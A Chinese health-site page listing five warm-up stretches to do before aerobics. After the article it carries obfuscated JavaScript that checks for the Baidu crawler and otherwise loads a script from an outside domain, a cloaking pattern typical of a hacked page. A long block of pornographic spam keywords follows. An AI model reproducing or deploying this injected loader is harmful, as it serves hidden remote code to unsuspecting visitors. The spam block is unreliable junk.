當前位置:首頁 > 健康 > 運動健身 > 正文

健美熱身運動有哪些

2017-04-17 07:32:14  來源:360常識網   熱度:
導語:目前,健美操是市場上一種很活躍的運動,健美操也是一種可以讓形體變得更美,讓一個人從沒有氣質改變到有氣質,氣質可加,對女人來說,要的

目前,健美操是市場上一種很活躍的運動,健美操也是一種可以讓形體變得更美,讓一個人從沒有氣質改變到有氣質,氣質可加,對女人來說,要的無非就是這個,但是在健美之前是需要先做好熱身準備的,如果健美的時候不熱身的話,那么很多姿勢自己都掌握不了,那么健美熱身的時候到底可以做哪些運動呢?

1我們用雙手及抱住頭部,然后左右旋轉,來松弛頸部肌肉

2.腰部背部伸展:雙腳我們需要岔開,雙手手臂伸展彎腰,左手盡可能抓左腳腳面,右手手臂上舉。另一半重復這樣的動作就可以了

3彎腰抬腿:左腿獨立,右腿抬離地面伸直與地面保持水平彎腰,雙手抱右腳,左腳伸直。換另一側重復該動作

4肩部伸展:身體直立,雙腳打開與肩同寬,左手臂伸直橫過胸前向右伸展,右臂向上彎曲,扶住左臂靠近肩膀的位置雙臂呈十字形

5伸展小臂、手畹:直立或者跪坐,一手向前伸直掌心向身體前方然后用另手握住該手并攏的四指做拉伸狀。

女人想要健美,目的就是為了能夠變得更美,所以說做健美操之前的熱身活動是不能馬虎的,這樣自己在健美的過程中才能更好的預熱,自己不熟悉的姿勢在預熱的過程中都是可以完全掌握的,這樣可以給自己的鍛煉結果加分的,如果是比曬的話,那么熱身就更需要了。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
久久久久久国产精品无码下载| 国产精品一区二区不卡| 成人精品一区二区三区校园激情| 国产呦小j女精品视频| 国内一级特黄女人精品毛片| 久久9精品久久久| 国产精品视频九九九| 欧亚精品一区三区免费| 亚洲2022国产成人精品无码区 | 真实国产精品vr专区| 精品精品国产自在久久高清| 国产精品综合一区二区| 久久精品国产99国产精品亚洲| 亚洲综合无码精品一区二区三区| 国产精品美女久久久浪潮av| 国产成人精品日本亚洲网址| 亚洲国产精品无码AAA片| 国产精品无码国模私拍视频 | 最新在线精品国自产拍网站| 久久精品人人做人人爽电影| 亚州日韩精品专区久久久| 人妻精品无码一区二区三区| 99精品视频在线观看免费播放| 囯产精品久久久久久久久蜜桃| 拍国产真实乱人偷精品| 国自产精品手机在线视频香蕉| 亚洲视频精品在线观看| 国产精品亚洲成在人线| 国产情侣大量精品视频| 日韩精品成人亚洲专区| 国产精品无码一区二区在线观 | 国产网站麻豆精品视频| 久久精品a亚洲国产v高清不卡| 国产精品无码一区二区三级| 久久久精品久久久久久| 国产一区二区三区日韩精品| 老牛精品亚洲成av人片| 人妻少妇精品视频三区二区一区| 亚洲精品亚洲人成在线播放| 精品无码日韩一区二区三区不卡| 国产精品国产亚洲精品看不卡|